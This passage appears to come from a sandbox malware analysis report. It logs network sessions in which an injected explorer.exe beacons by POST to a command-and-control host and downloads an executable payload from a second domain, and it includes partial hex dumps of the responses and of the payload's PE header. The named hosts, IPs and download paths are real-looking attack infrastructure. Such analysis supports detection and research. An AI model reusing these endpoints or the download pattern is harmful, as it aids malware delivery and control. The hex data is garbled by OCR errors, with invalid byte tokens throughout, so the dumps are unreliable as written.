44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 726573 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://scugxyrh.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 255

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:38 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://lwwgdj.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 269

Host: host-data-coin-11.com
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kBytes
Timestamp transferred

Jan 14, 2022 11933
04:59:39.178071976 CET

Session ID Source IP
45 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 11935

04:59:39.298963070 CET

Jan 14, 2022 11937
04:59:39.387739897 CET

Session ID Source IP
46 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 11939

04:59:39.484862089 CET

Jan 14, 2022 11940
04:59:39.570105076 CET

Copyright Joe Security LLC 2022

Direction

IN

Source Port

49840

Direction

ouT

Source Port
49842

Direction
ouT

Data

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d Oa 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
220 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 616464 72657373 3e 4170 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://umttqygm.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 209

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process
94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dujdgqdl.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 199

Host: host-data-coin-11.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 0

Connection: close
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Session ID Source IP

47 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 11942

04:59:39.656476021 CET

Jan 14, 2022 11943
04:59:39.737250090 CET

Session ID Source IP
48 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 11945

04:59:39.859819889 CET

Jan 14, 2022 11946
04:59:39.964689970 CET

Session ID Source IP

49 192.168.2.3
kBytes

Timestamp transferred

Copyright Joe Security LLC 2022

Source Port

49843

Direction

ouT

Source Port

49845

Direction

ouT

Source Port

49846

Direction

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://acontkk.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 334

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://rwkvcn.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 355

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:39 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3¢ 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2¢ 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
73 73 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa 0d Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htm|>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data
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Timestamp

Jan 14, 2022
04:59:40.050098896 CET

Jan 14, 2022
04:59:40.132122040 CET

Session ID

5

Timestamp

Session ID

50

Timestamp

Jan 14, 2022
04:59:40.220174074 CET

Jan 14, 2022
04:59:40.283812046 CET

Session ID

51

kBytes
transferred

11948

11949

Source IP

192.168.2.3

kBytes
transferred

Source IP

192.168.2.3
kBytes

transferred

11950

11953

Source IP

192.168.2.3

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49884

Direction

Source Port

49848

Direction

ouT

Source Port

49855

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://urrhyr.com/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 155

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:40 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 34 36 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12
93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30
0d Oa Od Oa

Data Ascii: 461:820R&:UPJ%9HpW@.*S.cO

Destination IP Destination Port Process

144.76.136.153 443 C:\Windows\explorer.exe

Data

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

GET /files/6961_1642089187_2359.exe HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Host: data-host-coin-8.com

HTTP/1.1 200 OK

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:40 GMT

Content-Type: application/x-msdos-program

Content-Length: 905216

Connection: close

Last-Modified: Thu, 13 Jan 2022 15:53:07 GMT

ETag: "dd000-5d578aeb4049d"

Accept-Ranges: bytes

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 €8 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6€ 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 8b cf 9c fb cf ae f2 a8 cf ae f2 a8 cf ae 2 a8 d1 fc 67 a8 d3 ae f2 a8 d1 fc 71 a8
49 ae f2 a8 d1 fc 76 a8 el ae f2 a8 €8 68 89 a8 cc ae f2 a8 cf ae f3 a8 45 ae 2 a8 d1 fc 78 a8 ce ae f2 a8 d1 fc 66 a8 ce
ae f2 a8 d1 fc 63 a8 ce ae f2 a8 52 69 63 68 cf ae f2 a8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c
01 04 00 cf 5b b6 5f 00 00 00 00 00 00 00 00 €0 00 03 01 Ob 01 09 00 00 20 01 00 00 32 0d 00 00 00 00 00 00 30 00 00
00 10 00 00 00 30 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 50 7¢
02 00 04 00 00 e4 71 Oe 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00
00 00 00 00 00 00 58 66 01 00 28 00 00 00 00 70 Od 00 20 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 dO 31 01 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
40 59 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 88 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 1e 01 00 00 10 00 00 00 20 01 00 00 04 00 00 00 00 00 00 00 00
00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 22 3f 00 00 00 30 01 00 00 40 00 00 00 24 01 00 00 00 00 00 00
00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 38 fe Ob 00 00 70 01 00 00 9e Ob 00 00 64 01 00 00 00 00 00
00 00 00 00 00 00 00 00 40 00 00 cO 2e 72 73 72 63 00 00 00 20 dd 6e 02 00 70 0d 00 00 ce 00 00 00 02 0d 00 00 00 00
00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 ¢7 01 00 32 41 00 €9 09 11 00 00 56 8b f1 c7 06 00 32 41 00 e8 fb 10 00 00 f6 44 24 08 01 74 07 56
€8 88 14 00 00 59 8b c6 5e c2 04 00 55 8b ec ff 75 14 ff 75

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$gqlvhExfcRichPEL[_ 200@P|gXf(p 1@Y@0.text ".rdata"?
0@%$@@.data8pd@.rsrc np@ @2AV2AD$tVY Uuu

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe
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kBytes
Timestamp transferred

Jan 14, 2022 12905
04:59:41.839482069 CET

Jan 14, 2022 12906
04:59:41.921860933 CET

Session ID Source IP
52 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 12908

04:59:42.005439043 CET

Jan 14, 2022 12909
04:59:42.089756012 CET

Session ID Source IP
53 192.168.2.3

kBytes
Timestamp transferred
Jan 14, 2022 12930

04:59:42.699807882 CET

Jan 14, 2022 12932
04:59:42.781038046 CET

Copyright Joe Security LLC 2022

Direction

ouT

Source Port

49857

Direction

ouT

Source Port
49861

Direction
ouT

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://bqqdf.org/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 333

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 39 39 0d Oa 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f
44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d Oa 3c 68 74 6d 6¢ 3e 3c 68 65 61 64 3e 0d Oa 3c 74 69 74 6¢ 65
3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6¢ 65 3e 0d Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d Oa 3c
68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20
2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d Oa 3c 70 3e
41 64 64 69 74 69 6f 6e 61 6¢ 6¢ 79 2C 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20
65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6¢ 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72
44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6¢ 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d Oa 3c 68 72
3e 3c 6164 64 7265 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72
2061 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65
7373 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htmI><head><title>404 Not Found</title>
</head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not
Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/
2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></htmI>0

Destination IP Destination Port Process

94.142.143.91 80 C:\Windows\explorer.exe

Data

POST /HTTP/1.1

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

Accept: */*

Referer: http://dcbwcxee.net/

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Length: 125

Host: host-data-coin-11.com

HTTP/1.1 404 Not Found

Server: nginx/1.20.1

Date: Fri, 14 Jan 2022 03:59:42 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: close

Data Raw: 31 66 0d Oa 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d
